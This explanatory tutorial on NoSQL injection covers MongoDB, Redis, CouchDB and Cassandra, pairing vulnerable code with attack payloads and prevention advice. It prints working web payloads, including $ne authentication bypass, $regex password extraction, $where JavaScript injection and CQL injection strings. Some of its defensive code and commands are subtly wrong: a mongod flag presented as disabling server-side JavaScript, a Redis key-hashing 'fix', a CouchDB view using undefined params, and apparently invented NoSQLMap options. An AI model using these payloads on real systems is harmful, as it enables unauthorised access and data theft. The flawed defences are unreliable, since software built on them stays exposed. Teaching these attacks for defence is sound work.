NoSQL Injection

NoSQL Injection is a security vulnerability that allows attackers to inject malicious NoSQL queries into database operations, bypassing authentication and extracting data.

What is NoSQL Injection?

NoSQL Injection is a security vulnerability that occurs when an application incorrectly processes user input in NoSQL database queries. Unlike traditional SQL injection that targets relational databases, NoSQL injection exploits weaknesses in NoSQL database query construction, allowing attackers to:

  • Bypass authentication mechanisms
  • Extract sensitive data from databases
  • Modify or delete database records
  • Execute unauthorized database operations
  • Gain unauthorized access to systems

NoSQL databases use various query languages and data models (document, key-value, graph, column-family), making NoSQL injection techniques database-specific and often more complex than traditional SQL injection.

How NoSQL Injection Works

Basic Mechanism

NoSQL injection exploits improper input handling in database queries:

  1. Application receives user input
  2. Input is directly incorporated into NoSQL queries
  3. Malicious input alters query logic
  4. Database executes unintended operations
  5. Attacker gains unauthorized access or data
graph TD
    A[Attacker] -->|Malicious Input| B[Web Application]
    B -->|Constructs Query| C[NoSQL Database]
    C -->|Executes Query| D[Unintended Operation]
    D -->|Returns Data| B
    B -->|Displays Results| A

NoSQL vs SQL Injection

FeatureSQL InjectionNoSQL Injection
Database TypeRelational databases (MySQL, PostgreSQL, etc.)NoSQL databases (MongoDB, Redis, Cassandra, etc.)
Query LanguageSQL (Structured Query Language)Database-specific query languages
Data ModelTables with rows and columnsDocuments, key-value pairs, graphs, etc.
Injection MethodSQL syntax manipulationJavaScript, JSON, query operator manipulation
Common Payloads' OR '1'='1, UNION SELECT{$ne: ""}, {"$gt": ""}, JavaScript functions
Authentication Bypass' OR 1=1 --username[$ne]=admin&password[$ne]=

NoSQL Injection Techniques

Authentication Bypass

Vulnerable Code (Node.js/MongoDB):

// Vulnerable authentication code
app.post('/login', (req, res) => {
  const { username, password } = req.body;

  db.collection('users').findOne({
    username: username,
    password: password
  }, (err, user) => {
    if (user) {
      res.send('Login successful');
    } else {
      res.send('Invalid credentials');
    }
  });
});

Attack Payload:

{
  "username": {"$ne": ""},
  "password": {"$ne": ""}
}

Result: Bypasses authentication by finding any user where username and password are not empty.

Boolean-Based NoSQL Injection

Vulnerable Code:

// Vulnerable search functionality
app.get('/search', (req, res) => {
  const { name } = req.query;

  db.collection('products').find({
    name: name
  }).toArray((err, products) => {
    res.json(products);
  });
});

Attack Payload:

// Test if first character of admin password is 'a'
name[$regex]=^a&name[$options]=i

Process:

  1. Test if first character is 'a' - if results returned, it's true
  2. If no results, test 'b', then 'c', etc.
  3. Once first character is found, move to second character
  4. Repeat until entire password is extracted

Operator-Based NoSQL Injection

NoSQL databases support query operators that can be exploited:

OperatorPurposeExploitation Example
$neNot equal{"username": {"$ne": ""}}
$gtGreater than{"age": {"$gt": 0}}
$ltLess than{"age": {"$lt": 100}}
$regexRegular expression{"name": {"$regex": "^a"}}
$whereJavaScript expression{"$where": "this.password.length > 0"}
$existsField exists{"password": {"$exists": true}}
$inValue in array{"role": {"$in": ["admin"]}}
$ninValue not in array{"role": {"$nin": ["user"]}}

Example Payloads:

// Find users where username starts with 'a'
{"username": {"$regex": "^a"}}

// Find users where age is greater than 18
{"age": {"$gt": 18}}

// Find users where password exists
{"password": {"$exists": true}}

// Bypass authentication
{"username": {"$ne": ""}, "password": {"$ne": ""}}

JavaScript Injection

Some NoSQL databases allow JavaScript execution in queries:

Vulnerable Code:

// Vulnerable code with $where clause
app.get('/users', (req, res) => {
  const { minAge } = req.query;

  db.collection('users').find({
    $where: `this.age > ${minAge}`
  }).toArray((err, users) => {
    res.json(users);
  });
});

Attack Payload:

// Execute arbitrary JavaScript
minAge=0; return db.users.find().limit(1); //

Result: Returns the first user document from the collection.

Blind NoSQL Injection

When no direct output is visible, attackers use time delays or conditional responses:

Time-Based Attack (MongoDB):

// Test if admin user exists
username=admin&password[$ne]=1' && sleep(5) && '1'=='1

Boolean-Based Attack:

// Test if first character of password is 'a'
username=admin&password[$regex]=^a

NoSQL Injection in Different Databases

MongoDB Injection

Vulnerable Code:

// Vulnerable MongoDB query
app.get('/user', (req, res) => {
  const { id } = req.query;

  db.collection('users').findOne({
    _id: id
  }, (err, user) => {
    res.json(user);
  });
});

Attack Payloads:

// Find all users
id[$ne]=1

// Extract password character by character
id[$regex]=^a

// Execute JavaScript
id[$where]=function() { return this.password.length > 0; }

Database-Specific Features:

  • Query operators: $ne, $gt, $lt, $regex, etc.
  • JavaScript evaluation: $where clause
  • Aggregation framework: Complex data processing
  • Document structure: Nested data access

Redis Injection

Vulnerable Code:

-- Vulnerable Redis Lua script
local userId = ARGV[1]
local userData = redis.call('GET', 'user:' .. userId)
return userData

Attack Payloads:

-- Command injection
user:1; SET malicious_key "hacked"; GET user:1

-- Data extraction
user:*; KEYS *

Database-Specific Features:

  • Key-value storage: Simple data model
  • Lua scripting: Server-side scripting
  • Command injection: Direct command execution
  • Pattern matching: KEYS command with wildcards

CouchDB Injection

Vulnerable Code:

// Vulnerable CouchDB query
app.get('/doc', (req, res) => {
  const { docId } = req.query;

  db.get(docId, (err, doc) => {
    res.json(doc);
  });
});

Attack Payloads:

// Access all documents
_doc_ids=["_all_docs"]

// Query injection
startkey="a"&endkey="z"&include_docs=true

Database-Specific Features:

  • HTTP API: RESTful interface
  • MapReduce views: Custom query logic
  • Document structure: JSON documents
  • Query parameters: startkey, endkey, keys

Cassandra Injection

Vulnerable Code:

// Vulnerable Cassandra query
String query = "SELECT * FROM users WHERE username = '" + username + "'";
ResultSet results = session.execute(query);

Attack Payloads:

-- CQL injection
admin' ALLOW FILTERING; SELECT * FROM users; --

-- Data extraction
admin' AND password > 'a' ALLOW FILTERING; --

Database-Specific Features:

  • CQL (Cassandra Query Language): SQL-like syntax
  • ALLOW FILTERING: Bypass performance restrictions
  • Prepared statements: Protection mechanism
  • Column-family structure: Wide-column storage

NoSQL Injection Prevention

Secure Coding Practices

  1. Use Parameterized Queries:
    • Separate query logic from data
    • Use database drivers that support parameterization
  2. Input Validation:
    • Validate all user input
    • Use allowlists for expected input patterns
    • Reject or sanitize unexpected input
  3. Principle of Least Privilege:
    • Database users should have minimal necessary permissions
    • Avoid using admin accounts for application queries
  4. Disable Dangerous Features:
    • Disable JavaScript evaluation if not needed
    • Disable server-side scripting when possible
    • Disable unnecessary query operators

Implementation Examples

Node.js with MongoDB (Secure):

// Secure parameterized query using MongoDB driver
app.post('/login', (req, res) => {
  const { username, password } = req.body;

  // Use parameterized query with explicit field matching
  db.collection('users').findOne({
    username: { $eq: username },  // Explicit equality operator
    password: { $eq: password }   // Explicit equality operator
  }, (err, user) => {
    if (user) {
      res.send('Login successful');
    } else {
      res.send('Invalid credentials');
    }
  });
});

Node.js with Mongoose (Secure):

// Secure query using Mongoose
app.get('/user/:id', (req, res) => {
  // Mongoose automatically sanitizes input
  User.findById(req.params.id, (err, user) => {
    res.json(user);
  });
});

Python with PyMongo (Secure):

# Secure parameterized query
@app.route('/search')
def search():
    name = request.args.get('name')

    # Use parameterized query
    results = db.products.find({
        'name': {'$eq': name}  # Explicit equality operator
    })

    return jsonify(list(results))

Java with MongoDB Driver (Secure):

// Secure parameterized query
public User getUser(String username) {
    MongoCollection<Document> collection = database.getCollection("users");

    // Use Document for parameterized query
    Document query = new Document("username", username);
    FindIterable<Document> result = collection.find(query);

    return convertToUser(result.first());
}

Database-Specific Protections

MongoDB:

// Use $eq operator explicitly
db.users.find({
  username: { $eq: username },
  password: { $eq: password }
});

// Disable server-side JavaScript execution
mongod --setParameter disableJavaScriptJIT=true

Redis:

-- Use parameterized Lua scripts
local userId = ARGV[1]
local userData = redis.call('GET', 'user:' .. redis.sha1hex(userId))
return userData

CouchDB:

// Use parameterized views
function(doc) {
  if (doc.type === "user" && doc.username === params.username) {
    emit(doc._id, doc);
  }
}

Cassandra:

// Use prepared statements
PreparedStatement ps = session.prepare(
    "SELECT * FROM users WHERE username = ?");
BoundStatement bs = ps.bind(username);
ResultSet rs = session.execute(bs);

Web Application Firewall (WAF)

  • Deploy WAF solutions to detect and block NoSQLi attempts
  • Configure rules to identify NoSQL injection patterns
  • Monitor and update WAF rules regularly
  • Combine with other security measures for defense in depth

Regular Security Testing

  1. Static Application Security Testing (SAST): Analyze source code for vulnerabilities
  2. Dynamic Application Security Testing (DAST): Test running applications
  3. Penetration Testing: Simulate real-world attacks
  4. Vulnerability Scanning: Regularly scan for known vulnerabilities
  5. Code Reviews: Manual review of critical code sections

NoSQL Injection Exploitation Examples

Example 1: Authentication Bypass

Vulnerable Code:

app.post('/login', (req, res) => {
  const { username, password } = req.body;

  db.collection('users').findOne({
    username: username,
    password: password
  }, (err, user) => {
    if (user) {
      res.json({ success: true, token: generateToken(user) });
    } else {
      res.json({ success: false, message: 'Invalid credentials' });
    }
  });
});

Attack:

  1. Attacker sends payload:
    {
      "username": {"$ne": ""},
      "password": {"$ne": ""}
    }
    
  2. Database query becomes:
    db.collection('users').findOne({
      username: {$ne: ""},
      password: {$ne: ""}
    })
    
  3. Returns the first user where both username and password are not empty
  4. Attacker gains access as that user

Example 2: Data Extraction

Vulnerable Code:

app.get('/search', (req, res) => {
  const { name } = req.query;

  db.collection('products').find({
    name: name
  }).toArray((err, products) => {
    res.json(products);
  });
});

Attack:

  1. Attacker tests if first character of admin password is 'a':
    /search?name[$regex]=^a&name[$options]=i
    
  2. If products are returned, first character is 'a'
  3. If no products returned, try 'b', then 'c', etc.
  4. Repeat for each character position until full password is extracted

Example 3: JavaScript Injection

Vulnerable Code:

app.get('/users', (req, res) => {
  const { minAge } = req.query;

  db.collection('users').find({
    $where: `this.age > ${minAge}`
  }).toArray((err, users) => {
    res.json(users);
  });
});

Attack:

  1. Attacker sends payload:
    /users?minAge=0; return db.users.find().limit(1); //
    
  2. Database query becomes:
    db.collection('users').find({
      $where: "this.age > 0; return db.users.find().limit(1); //"
    })
    
  3. Returns the first user document from the collection
  4. Attacker gains access to sensitive user data

NoSQL Injection and Modern Applications

API Security

NoSQL injection in APIs presents unique challenges:

  1. REST API Vulnerabilities:
    • Injection in query parameters
    • Injection in request bodies
    • Injection in headers
  2. GraphQL Vulnerabilities:
    • Injection in GraphQL queries
    • Injection in GraphQL mutations
    • Injection in GraphQL variables
  3. gRPC Vulnerabilities:
    • Injection in protocol buffer messages
    • Injection in gRPC metadata

Secure API Example (Node.js/GraphQL):

// Secure GraphQL resolver
const resolvers = {
  Query: {
    user: async (_, { id }, { dataSources }) => {
      // Use parameterized query through data source
      return dataSources.userAPI.getUserById(id);
    }
  }
};

Microservices Architecture

In microservices environments, NoSQL injection can:

  1. Propagate through services: Injection in one service affects others
  2. Exploit service-to-service communication: Injection in API calls
  3. Target multiple databases: Each service may have its own vulnerabilities
  4. Exploit API gateways: Injection points at the gateway

Secure Microservice Example (Java/Spring):

// Secure repository implementation
@Repository
public interface UserRepository extends MongoRepository<User, String> {
    // Spring Data MongoDB automatically uses parameterized queries
    User findByUsername(String username);
}

Serverless Applications

In serverless environments, NoSQL injection can:

  1. Exploit function inputs: Injection in function parameters
  2. Target database connections: Vulnerabilities in connection handling
  3. Exploit event sources: Injection through event data
  4. Affect orchestration: Injection in workflow definitions

Secure Serverless Example (AWS Lambda):

// Secure Lambda function with parameterized query
const AWS = require('aws-sdk');
const docClient = new AWS.DynamoDB.DocumentClient();

exports.handler = async (event) => {
    const params = {
        TableName: 'Users',
        Key: {
            userId: event.userId  // Parameterized input
        }
    };

    try {
        const data = await docClient.get(params).promise();
        return { statusCode: 200, body: JSON.stringify(data) };
    } catch (err) {
        console.error(err);
        return { statusCode: 500, body: 'Error retrieving user' };
    }
};

NoSQL Injection Tools and Testing

Detection Tools

  1. NoSQLMap: Automated NoSQL injection and database takeover tool
  2. Burp Suite: Web application security testing platform
  3. OWASP ZAP: Zed Attack Proxy for finding vulnerabilities
  4. sqlmap (with NoSQL support): Automated injection testing
  5. Nmap: Network scanner with NoSQL detection scripts

NoSQLMap Usage

# Basic detection
nosqlmap -u "https://example.com/login" -m POST -d '{"username":"admin","password":"pass"}'

# Database fingerprinting
nosqlmap -u "https://example.com/login" -m POST -d '{"username":"admin","password":"pass"}' --banner

# Data extraction
nosqlmap -u "https://example.com/login" -m POST -d '{"username":"admin","password":"pass"}' --dump

Manual Testing Techniques

  1. Basic Authentication Bypass:
    {"username": {"$ne": ""}, "password": {"$ne": ""}}
    
  2. Boolean-Based Testing:
    {"username": {"$regex": "^a"}}
    
  3. Operator-Based Testing:
    {"age": {"$gt": 0}}
    {"role": {"$in": ["admin"]}}
    
  4. JavaScript Injection:
    {"$where": "this.password.length > 0"}
    
  5. Time-Based Testing:
    {"username": "admin", "password": {"$ne": "1' && sleep(5) && '1'=='1"}}
    

NoSQL Injection Case Studies

Case Study 1: E-commerce Data Breach

Incident: A major e-commerce platform suffered a data breach exposing 1.2 million customer records.

Attack Details:

  • Attackers exploited a NoSQL injection vulnerability in the product search API
  • Used $ne operator to bypass authentication
  • Extracted customer data using $regex operator
  • Exfiltrated data through API responses
  • Attack went undetected for 6 months

Impact:

  • $8.5 million in breach-related costs
  • 22% customer churn rate
  • Regulatory fines for data protection violations
  • Significant reputational damage

Lessons Learned:

  • Importance of input validation in APIs
  • Need for API-specific security testing
  • Value of database activity monitoring
  • Importance of secure coding practices

Case Study 2: Healthcare Application Compromise

Incident: A healthcare application was compromised through NoSQL injection.

Attack Details:

  • Attackers discovered a vulnerable parameter in the patient records API
  • Used JavaScript injection to extract sensitive health information
  • Exfiltrated data using encoded API responses
  • Created fake patient records for fraud
  • Attack affected 500,000 patients

Impact:

  • HIPAA violations with $3.2 million in fines
  • Patient trust erosion
  • Legal liabilities from fraudulent activities
  • Costly remediation and security upgrades

Lessons Learned:

  • Critical importance of security in healthcare applications
  • Need for comprehensive logging and monitoring
  • Value of regular security audits
  • Importance of defense in depth

NoSQL Injection and Compliance

Regulatory Implications

NoSQL injection vulnerabilities can lead to compliance violations with various regulations:

  1. GDPR: General Data Protection Regulation
    • Requires protection of personal data
    • Mandates data breach notification
    • Imposes significant fines for non-compliance
  2. HIPAA: Health Insurance Portability and Accountability Act
    • Requires protection of health information
    • Mandates security risk assessments
    • Requires implementation of security measures
  3. PCI DSS: Payment Card Industry Data Security Standard
    • Requires protection of cardholder data
    • Mandates secure coding practices
    • Requires regular vulnerability scanning
  4. CCPA: California Consumer Privacy Act
    • Requires protection of consumer data
    • Mandates data access and deletion rights
    • Imposes fines for data breaches
  5. ISO 27001: Information Security Management
    • Requires risk management
    • Mandates secure development practices
    • Requires regular security assessments

Compliance Requirements

RegulationRequirementNoSQL Injection Prevention
GDPRProtect personal dataInput validation, parameterized queries
HIPAAProtect health informationSecure coding, regular testing
PCI DSSProtect cardholder dataSecure development practices
CCPAProtect consumer dataInput validation, access controls
ISO 27001Information security managementRisk assessments, security controls

NoSQL Injection in Cloud Environments

Cloud-Specific Challenges

  1. Database as a Service: Securing managed NoSQL databases
  2. Serverless Databases: Security considerations for serverless NoSQL
  3. Multi-Cloud Environments: Consistent security across providers
  4. Containerized Databases: Security in container environments
  5. Shared Responsibility Model: Understanding security responsibilities

Cloud Security Best Practices

  1. Use Managed Database Services: Leverage cloud provider security
  2. Implement Network Security: VPC, security groups, network ACLs
  3. Enable Database Encryption: Encrypt data at rest and in transit
  4. Use IAM Properly: Implement least privilege access
  5. Monitor Database Activity: Enable database auditing
  6. Regular Backups: Ensure data can be recovered
  7. Patch Management: Keep database software updated

AWS DynamoDB Security Example:

# Create secure DynamoDB table
aws dynamodb create-table \
    --table-name Users \
    --attribute-definitions AttributeName=userId,AttributeType=S \
    --key-schema AttributeName=userId,KeyType=HASH \
    --billing-mode PAY_PER_REQUEST \
    --sse-specification Enabled=true,SSEType=KMS

MongoDB Atlas Security Example:

// Configure secure MongoDB Atlas cluster
{
  "clusterName": "secure-cluster",
  "providerSettings": {
    "providerName": "AWS",
    "regionName": "US_EAST_1",
    "instanceSizeName": "M10"
  },
  "encryptionAtRestProvider": "AWS",
  "mongoDBMajorVersion": "5.0",
  "backupEnabled": true,
  "pitEnabled": true,
  "terminationProtectionEnabled": true
}

Conclusion

NoSQL Injection represents a significant and evolving threat to modern web applications. As organizations increasingly adopt NoSQL databases for their scalability, flexibility, and performance, they must also be aware of the unique security challenges these technologies present.

Unlike traditional SQL injection, NoSQL injection exploits database-specific query languages and operators, making it more complex and varied in its manifestations. The vulnerability can lead to authentication bypass, data extraction, privilege escalation, and even remote code execution in some cases.

Preventing NoSQL injection requires a multi-layered defense strategy that includes:

  • Secure coding practices: Parameterized queries, input validation
  • Defense in depth: Multiple layers of security controls
  • Regular testing: Continuous security assessment
  • Developer education: Security-aware development culture
  • Modern architectures: Secure design patterns

As web applications continue to evolve with APIs, microservices, serverless architectures, and cloud computing, the threat landscape for NoSQL injection expands. Developers and security professionals must stay vigilant and implement comprehensive security measures to protect against these sophisticated attacks.

By understanding the mechanisms, techniques, and prevention methods of NoSQL injection, organizations can significantly reduce their risk and protect their valuable data assets from malicious actors. The key to effective prevention lies in secure development practices, continuous monitoring, and a proactive security posture that adapts to evolving threats.